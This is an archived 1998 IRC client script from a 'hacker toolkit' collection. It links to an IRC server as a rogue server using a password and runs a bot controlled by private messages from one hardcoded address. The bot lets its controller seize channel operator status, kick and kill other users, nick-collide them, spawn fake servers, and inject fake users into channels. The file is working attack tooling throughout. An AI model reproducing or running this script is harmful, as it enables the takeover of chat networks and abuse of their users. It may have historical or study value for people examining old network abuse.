home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Elite Hackers Toolkit
/
TheEliteHackersToolkitVolume1_1998.rar
/
HACKERS.BIN
/
hackers
/
beer.irc
< prev
next >
Wrap
Text File
|
1998-09-09
|
3KB
|
91 lines
# IRCD Command Link
# Just incase:
set novice off
assign logo -iRCD-
alias vecho {echo *** $logo $0-}
vecho v31337 L0ADiNG....
alias linkup {if ([$3])
{^eval assign servnum $connect($0 $1)
^eval assign site $0
^eval assign pass $3
^eval assign server $2
vecho Linking to port $1 of $0
^eval dcc raw $servnum $site pass $3
^eval dcc raw $servnum $site server $2
timer 2 vecho Finished.
}
{vecho Usage: /linkup <uplink> <port> <server name> <server password>}
}
alias droplink {^eval dcc close raw $servnum
^eval assign -servnum
^eval assign -site
^eval assign -pass
^eval assign -server
timer 1 vecho Link killed.
}
alias sn {^dcc raw $servnum $site NOTICE $0 :$1-}
alias sm {^dcc raw $servnum $site MODE $0-}
alias sr {^dcc raw $servnum $site $0-}
#alias sn {snotice($whofrom $0-)}
on ^dcc_raw * #
on ^dcc_raw "% % D PING *" dcc raw $servnum $site PING $4
on ^dcc_raw "* PRIVMSG *" {if ([$5]==[x@eReet.techwood.org]) {
assign served 0
assign whofrom $strip(: $3)
assign command $strip(: $6)
if ([$COMMAND]==[HELP]) {assign served 1
sn $whofrom //// -WERD iRCD B0T COMMANDS- ////
sn $whofrom OPME <channel>
sn $whofrom MODE <channel>
sn $whofrom KICK <nick> <channel> <reason>
sn $whofrom KILL <nick> <reason>
sn $whofrom COLLIDE <nick>
sn $whofrom NEWSERV <server name>
sn $whofrom NEWUSER <parameters given, run alone>
}
if ([$COMMAND]==[OPME]) {assign served 1
sn $whofrom Now Giving +o to $whofrom on $7
sm $7 +o $whofrom
}
if ([$COMMAND]==[MODE]) {assign served 1
sn $whofrom Now Changing $7's mode to $8-.
sm $7-
}
if ([$COMMAND]==[KICK]) {assign served 1
sn $whofrom Now Kicking $7 from $8 Reason: $9-
sr KICK $8 $7 $9-
}
if ([$COMMAND]==[KILL]) {assign served 1
sn $whofrom Now Killing $7 Reason: $8-
sr KILL $7 $8-
}
if ([$COMMAND]==[NEWSERV]) {assign served 1
sn $whofrom Creating Server $7
sr SERVER $7 :werd.
}
if ([$COMMAND]==[COLLIDE]) {assign served 1
sn $whofrom Now Nick Colliding $7
sr NICK $7
}
if ([$COMMAND]==[NEWUSER]) {assign served 1
if (![$11]) {sn $whofrom Parameters for NEWUSER:
sn $whofrom <NICK> <userid> <site> <server> <irc name> <channel to JOIN>
sn $whofrom the last option isn't necessary}
{sn $whofrom Creating User: $7!$8@$9 on $10
sr NICK $7
sr :$7 USER $8 $9 $10 :$11
sr :$7 JOIN $12}
}
if ([$served]==[0]){sn $whofrom :Try "/msg x@$server help."}
}
assign -whofrom
}
vecho v31337 L0ADED AND ARM3D. Type /IRCDHELP for yew gno what.